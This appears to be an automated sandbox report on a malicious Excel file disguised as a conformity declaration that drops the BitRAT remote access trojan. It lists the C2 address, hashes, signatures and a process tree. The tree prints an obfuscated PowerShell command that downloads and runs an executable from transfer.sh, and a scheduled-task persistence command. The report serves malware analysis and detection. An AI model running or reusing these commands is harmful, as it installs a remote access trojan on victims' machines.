Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2023 15:14

General

  • Target

    Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls

  • Size

    100KB

  • MD5

    100a2750f01f084234fbd828f1f608fc

  • SHA1

    e5c947d03ad2a7a08500275b2107d91f13295066

  • SHA256

    4a7daa6f01efcbc7e6480e26f2f99092eb7c059929bc84debd13a7962d0a2a25

  • SHA512

    cf3e7cc272d565722e1f522e038925e8416863994facd1d206695f46178792c7b9f7c87b2b878d1845d7208ff1647158d3980a7268c53be39b98eac354681f8f

  • SSDEEP

    3072:YrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAPtJE2zuxq+fr9wBLa71ba2ryLTHeYjc:exEtjPOtioVjDGUU1qfDlavx+W2QnAF9

Score
10/10

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes
  • communication_password

    0edcbe7d888380c49e7d1dcf67b6ea6e

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4544
        • C:\Users\Public\kzcnu.exe
          "C:\Users\Public\kzcnu.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Users\Public\kzcnu.exe
            "C:\Users\Public\kzcnu.exe"
            5⤵
            • Executes dropped EXE
            PID:1424
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1424 -s 188
              6⤵
              • Program crash
              PID:2436
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
            5⤵
              PID:1532
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c copy "C:\Users\Public\kzcnu.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
              5⤵
                PID:1368
              • C:\Windows\SysWOW64\cmd.exe
                "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3592
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
                  6⤵
                  • Creates scheduled task(s)
                  PID:4008
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1424 -ip 1424
        1⤵
          PID:764
        • C:\Users\Admin\AppData\Roaming\pint\pint.exe
          C:\Users\Admin\AppData\Roaming\pint\pint.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3724
          • C:\Users\Admin\AppData\Roaming\pint\pint.exe
            "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
            2⤵
            • Executes dropped EXE
            PID:2100
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2100 -s 188
              3⤵
              • Program crash
              PID:2096
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
            2⤵
              PID:3520
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3984
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
                3⤵
                • Creates scheduled task(s)
                PID:1640
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c copy "C:\Users\Admin\AppData\Roaming\pint\pint.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
              2⤵
                PID:1608
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2100 -ip 2100
              1⤵
                PID:3388
              • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                C:\Users\Admin\AppData\Roaming\pint\pint.exe
                1⤵
                • Executes dropped EXE
                PID:680
                • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                  "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
                  2⤵
                    PID:4004
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
                    2⤵
                      PID:2216

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pint.exe.log
                    Filesize

                    520B

                    MD5

                    03febbff58da1d3318c31657d89c8542

                    SHA1

                    c9e017bd9d0a4fe533795b227c855935d86c2092

                    SHA256

                    5164770a37b199a79ccd23b399bb3309228973d9f74c589bc2623dc613b37ac4

                    SHA512

                    3750c372bbca1892e9c1b34681d592c693e725a8b149c3d6938079cd467628cec42c4293b0d886b57a786abf45f5e7229247b3445001774e3e793ff5a3accfa3

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsoeeczq.fjj.ps1
                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    271KB

                    MD5

                    0f2e38be4e4d3b2a75782af840991bd5

                    SHA1

                    7f070d1a23070b144646f2cf739d383e0bd45744

                    SHA256

                    0318a206c2b47cac168217a87ce0e813746522add67efa25e578c6b6713437c8

                    SHA512

                    63a1e8e434ed56451a18e4cc27a2c2a63d010147738cb19192c2c1a17113d1a71baf347c2132408fe9eafd7ffe51ef4df037cb019fbd0d0f58738efbb3b5b510

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Admin\AppData\Roaming\pint\pint.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Public\kzcnu.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Public\kzcnu.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • C:\Users\Public\kzcnu.exe
                    Filesize

                    3.8MB

                    MD5

                    6d4c3a4ff3637ec34f820172f897d476

                    SHA1

                    d53fe8f0ecb0536088ec9be5247ab6627baf31cb

                    SHA256

                    c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

                    SHA512

                    1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

                  • memory/680-123-0x00000000750C0000-0x0000000075870000-memory.dmp
                    Filesize

                    7.7MB

                  • memory/680-124-0x00000000051D0000-0x00000000051E0000-memory.dmp
                    Filesize

                    64KB

                  • memory/1424-72-0x0000000000A10000-0x0000000000DDE000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/1424-80-0x0000000000A10000-0x0000000000DDE000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/1424-76-0x0000000000A10000-0x0000000000DDE000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/2100-100-0x0000000000F00000-0x00000000012CE000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/2100-96-0x0000000000F00000-0x00000000012CE000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/2916-67-0x0000000075020000-0x00000000757D0000-memory.dmp
                    Filesize

                    7.7MB

                  • memory/2916-84-0x0000000075020000-0x00000000757D0000-memory.dmp
                    Filesize

                    7.7MB

                  • memory/2916-70-0x0000000005040000-0x0000000005050000-memory.dmp
                    Filesize

                    64KB

                  • memory/2916-69-0x0000000005600000-0x0000000005BA4000-memory.dmp
                    Filesize

                    5.6MB

                  • memory/2916-68-0x00000000002B0000-0x0000000000688000-memory.dmp
                    Filesize

                    3.8MB

                  • memory/3720-32-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-23-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-14-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-13-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-2-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-10-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-12-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-11-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-50-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-51-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-52-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-9-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-120-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-119-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-118-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-3-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-8-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-117-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-28-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-31-0x0000016891600000-0x0000016891E00000-memory.dmp
                    Filesize

                    8.0MB

                  • memory/3720-22-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-21-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-6-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-114-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-20-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-19-0x00007FF82D5B0000-0x00007FF82D5C0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-7-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-17-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-5-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-4-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-1-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-115-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-0-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-16-0x00007FF86F810000-0x00007FF86FA05000-memory.dmp
                    Filesize

                    2.0MB

                  • memory/3720-15-0x00007FF82D5B0000-0x00007FF82D5C0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-116-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3720-113-0x00007FF82F890000-0x00007FF82F8A0000-memory.dmp
                    Filesize

                    64KB

                  • memory/3724-88-0x0000000075020000-0x00000000757D0000-memory.dmp
                    Filesize

                    7.7MB

                  • memory/3724-102-0x0000000075020000-0x00000000757D0000-memory.dmp
                    Filesize

                    7.7MB

                  • memory/3724-89-0x00000000053E0000-0x00000000053F0000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-66-0x00007FF846D50000-0x00007FF847811000-memory.dmp
                    Filesize

                    10.8MB

                  • memory/4544-58-0x000001E5ED660000-0x000001E5ED670000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-55-0x000001E5ED660000-0x000001E5ED670000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-54-0x000001E5ED660000-0x000001E5ED670000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-53-0x00007FF846D50000-0x00007FF847811000-memory.dmp
                    Filesize

                    10.8MB

                  • memory/4544-45-0x000001E5ED660000-0x000001E5ED670000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-44-0x000001E5ED660000-0x000001E5ED670000-memory.dmp
                    Filesize

                    64KB

                  • memory/4544-43-0x00007FF846D50000-0x00007FF847811000-memory.dmp
                    Filesize

                    10.8MB

                  • memory/4544-39-0x000001E5ED870000-0x000001E5ED892000-memory.dmp
                    Filesize

                    136KB